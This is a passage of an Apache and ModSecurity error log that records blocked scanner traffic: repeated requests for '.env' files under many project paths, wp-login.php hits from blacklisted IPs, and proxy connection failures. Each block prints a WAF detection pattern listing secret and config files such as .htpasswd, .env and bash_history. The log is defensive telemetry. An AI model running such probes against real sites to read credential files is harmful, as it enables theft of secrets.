2026] [proxy_http:error] [pid 648189:tid 648388] [client 167.71.72.186:44196] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://cpcontacts.steamif.org/ [Sat Jun 13 18:16:52.193560 2026] [proxy:error] [pid 648189:tid 648388] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:16:52.193631 2026] [proxy_http:error] [pid 648189:tid 648388] [client 167.71.72.186:44196] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://cpcontacts.steamif.org/ [Sat Jun 13 18:16:52.286719 2026] [security2:error] [pid 648189:tid 648396] [client 185.177.72.9:43672] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/cache.php"] [unique_id "ai3y9FWSojQL4F7upKBgIQAAALA"] [Sat Jun 13 18:16:52.295343 2026] [security2:error] [pid 648189:tid 648255] [remote 124.156.212.23:42337] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 23.212.156.124.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "whconsults.com"] [uri "/wp-login.php"] [unique_id "ai3y9FWSojQL4F7upKBgIgAAxCE"] [Sat Jun 13 18:16:52.308320 2026] [security2:error] [pid 648189:tid 648407] [client 34.23.213.224:45466] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9FWSojQL4F7upKBgIwAAALo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:52.469150 2026] [security2:error] [pid 648189:tid 648429] [client 34.23.213.224:45474] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9FWSojQL4F7upKBgKAAAANA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:52.562050 2026] [security2:error] [pid 648189:tid 648422] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/cardea/backend/.env"] [unique_id "ai3y9FWSojQL4F7upKBgKwAAAMk"] [Sat Jun 13 18:16:52.630935 2026] [security2:error] [pid 648189:tid 648426] [client 34.23.213.224:45478] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9FWSojQL4F7upKBgMAAAAM0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:52.699826 2026] [security2:error] [pid 648189:tid 648483] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/cdw-backend/.env"] [unique_id "ai3y9FWSojQL4F7upKBgMwAAAQE"] [Sat Jun 13 18:16:52.704850 2026] [access_compat:error] [pid 646876:tid 646903] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9ldmVudDYvc3Vic3lzdGVtL2lucHV0Mg== [Sat Jun 13 18:16:52.705761 2026] [access_compat:error] [pid 646876:tid 646903] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9ldmVudDYvc3Vic3lzdGVtL2lucHV0Mg== [Sat Jun 13 18:16:52.792080 2026] [security2:error] [pid 646876:tid 647112] [client 34.23.213.224:45480] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9NyTkdrNlD40tSGrwwAAAGg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:52.811424 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.113:35910] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:52.811768 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.113:35910] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:52.812927 2026] [access_compat:error] [pid 646876:tid 646922] [remote 57.141.14.59:37281] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:52.813385 2026] [access_compat:error] [pid 646876:tid 646922] [remote 57.141.14.59:37281] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:52.836276 2026] [security2:error] [pid 648189:tid 648358] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/cgi-bin/.env"] [unique_id "ai3y9FWSojQL4F7upKBgOAAAAIo"] [Sat Jun 13 18:16:52.840111 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.32:55983] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:52.840563 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.32:55983] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:52.955266 2026] [security2:error] [pid 648189:tid 648416] [client 34.23.213.224:45482] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9FWSojQL4F7upKBgQQAAAMM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:53.092933 2026] [access_compat:error] [pid 648189:tid 648303] [remote 57.141.14.102:47023] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:53.093382 2026] [access_compat:error] [pid 648189:tid 648303] [remote 57.141.14.102:47023] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:53.116169 2026] [security2:error] [pid 648189:tid 648484] [client 34.23.213.224:45484] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9VWSojQL4F7upKBgSAAAAQI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:53.125033 2026] [security2:error] [pid 648189:tid 648438] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ch2-mytodo/.env"] [unique_id "ai3y9VWSojQL4F7upKBgSQAAANk"] [Sat Jun 13 18:16:53.203388 2026] [access_compat:error] [pid 648189:tid 648299] [remote 216.73.216.223:1059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:53.203688 2026] [access_compat:error] [pid 648189:tid 648299] [remote 216.73.216.223:1059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:53.248809 2026] [access_compat:error] [pid 646876:tid 646927] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvaW5wdXQvaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:16:53.249062 2026] [access_compat:error] [pid 646876:tid 646927] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvaW5wdXQvaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:16:53.263120 2026] [security2:error] [pid 648189:tid 648357] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ch6-mytodo/.env"] [unique_id "ai3y9VWSojQL4F7upKBgTAAAAIk"] [Sat Jun 13 18:16:53.276724 2026] [security2:error] [pid 648189:tid 648367] [client 34.23.213.224:45488] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9VWSojQL4F7upKBgTgAAAJM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:53.337247 2026] [access_compat:error] [pid 648189:tid 648256] [remote 57.141.14.106:56521] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:53.337638 2026] [access_compat:error] [pid 648189:tid 648256] [remote 57.141.14.106:56521] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:53.347788 2026] [security2:error] [pid 648189:tid 648336] [remote 17.246.23.4:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 4.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y9VWSojQL4F7upKBgUAAAqHE"] [Sat Jun 13 18:16:53.400057 2026] [security2:error] [pid 648189:tid 648382] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ch6a-mytodo/.env"] [unique_id "ai3y9VWSojQL4F7upKBgUQAAAKI"] [Sat Jun 13 18:16:53.436745 2026] [security2:error] [pid 646876:tid 646964] [remote 74.7.227.53:42650] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3y9dyTkdrNlD40tSGr0gAAJFU"], referer: https://northsecuritysystems.com/?product=hik-central-licencia-para-agregar-1-canal-adicional-de-video-hikcentral-p-vss-1ch [Sat Jun 13 18:16:53.438111 2026] [security2:error] [pid 648189:tid 648396] [client 34.23.213.224:45492] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9VWSojQL4F7upKBgUgAAALA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:53.538688 2026] [security2:error] [pid 648189:tid 648480] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ch7-mytodo/.env"] [unique_id "ai3y9VWSojQL4F7upKBgVQAAAP4"] [Sat Jun 13 18:16:53.599433 2026] [security2:error] [pid 648189:tid 648460] [client 34.23.213.224:45496] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9VWSojQL4F7upKBgVwAAAOo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:53.623471 2026] [security2:error] [pid 648189:tid 648325] [remote 17.22.253.67:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 67.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y9VWSojQL4F7upKBgWAAAq2Y"] [Sat Jun 13 18:16:53.675428 2026] [security2:error] [pid 648189:tid 648445] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ch7a-mytodo/.env"] [unique_id "ai3y9VWSojQL4F7upKBgWgAAAN8"] [Sat Jun 13 18:16:53.700141 2026] [access_compat:error] [pid 648189:tid 648249] [remote 57.141.14.51:58120] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:53.700440 2026] [access_compat:error] [pid 648189:tid 648249] [remote 57.141.14.51:58120] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:53.735594 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6Y2Fwc2xvY2s= [Sat Jun 13 18:16:53.735883 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6Y2Fwc2xvY2s= [Sat Jun 13 18:16:53.760731 2026] [security2:error] [pid 648189:tid 648410] [client 34.23.213.224:45512] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9VWSojQL4F7upKBgXgAAAL0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:53.772156 2026] [access_compat:error] [pid 648189:tid 648305] [remote 57.141.14.63:21310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:53.772445 2026] [access_compat:error] [pid 648189:tid 648305] [remote 57.141.14.63:21310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:53.811963 2026] [security2:error] [pid 648189:tid 648421] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ch8-mytodo/.env"] [unique_id "ai3y9VWSojQL4F7upKBgYAAAAMg"] [Sat Jun 13 18:16:53.924518 2026] [security2:error] [pid 646876:tid 647048] [client 34.23.213.224:45518] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9dyTkdrNlD40tSGr3AAAACg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:53.966118 2026] [security2:error] [pid 648189:tid 648462] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ch8a-mytodo/.env"] [unique_id "ai3y9VWSojQL4F7upKBgZgAAAOw"] [Sat Jun 13 18:16:53.971432 2026] [security2:error] [pid 646876:tid 646905] [remote 74.7.227.53:42650] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3y9dyTkdrNlD40tSGr4QAADRo"], referer: https://northsecuritysystems.com/?product=hik-central-licencia-para-agregar-1-canal-adicional-de-video-hikcentral-p-vss-1ch [Sat Jun 13 18:16:54.087370 2026] [security2:error] [pid 648189:tid 648376] [client 34.23.213.224:45534] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9lWSojQL4F7upKBgawAAAJw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:54.102799 2026] 